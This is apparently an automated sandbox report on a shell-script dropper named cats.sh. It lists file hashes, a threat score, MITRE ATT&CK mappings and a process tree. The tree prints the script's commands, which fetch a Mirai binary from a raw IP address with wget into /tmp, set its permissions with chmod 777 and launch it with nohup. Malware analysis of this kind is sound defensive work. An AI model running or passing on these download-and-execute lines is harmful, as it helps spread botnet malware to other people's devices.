1985cefcce24e91e2acee27754b68cee0bf285115a917d403eafddc3e2c54c61

Analysis

max time kernel
11s
max time network
3s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
09/11/2026, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cats.sh
Size 537B
Sample261109-hapc7svv9n
SHA256 1985cefcce24e91e2acee27754b68cee0bf285115a917d403eafddc3e2c54c61
MD5 c320ec919f7c703524ea3bad867732ed
SHA1 475c4749d3f89554a4e1c7e0c1bcc0b217c1474c
SHA512 0f17ef318182e63165f428bd2806e3797585bb83a9584e8dd16a25b67c75c6982962de55ccafc33006d3fc76c2c5d55fac0ebdc5717e515c6c719dafc7064e9f
TLSH
T174F0C0575113901136191803EA9DF0666246752D66C1BF5CD5C826B052ACD04781ABA3
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
736	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/bot	738	nohup

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bot	wget

/tmp/cats.sh
/tmp/cats.sh
1⤵
PID:714
- /bin/uname
  uname -m
  2⤵
  PID:716
- /usr/bin/wget
  wget http://45.135.194.52:8081/mirai.arm7 -O /tmp/bot
  2⤵
  - Writes file to tmp directory
  PID:717
- /bin/chmod
  chmod 777 /tmp/bot
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /bin/sleep
  sleep 10
  2⤵
  PID:739
- /usr/bin/nohup
  nohup /tmp/bot
  2⤵
  - Executes dropped EXE
  PID:738
- /tmp/bot
  /tmp/bot
  2⤵
  PID:738
- /bin/sh
  /bin/sh /tmp/bot
  2⤵
  PID:738

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bot

Path /tmp/bot
Size 622KB
SHA256 6b8f085ccf8f7609d044a00f9978c16ee0b279f6ac1ccee7819d29936f3cee72
MD5 e25cd3fa153b1eb75870eaabe753caa1
SHA1 8956162ef3571bc1b7efe8deb0fa91d351ebaac0
SHA512 9c1b0d00c771b11fbe4733a5955865aa7c13fc6039fdbb28b92334e3d3b26dc1ebd19b7d63dbf499fae362d1f82718a931f9c5a689084ac2dbb758b2976df36c
SSDEEP 12288:FI0xVuMMwE6sR037lstgpQpBwaRNojpjNeEpOYek:bPuy7lsdwWNipjJgYe
TLSH
T1BFD46C55F840DF52C9C52976F6AE8258332347BDC3DAB20F991897383A8787B0B3E645
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download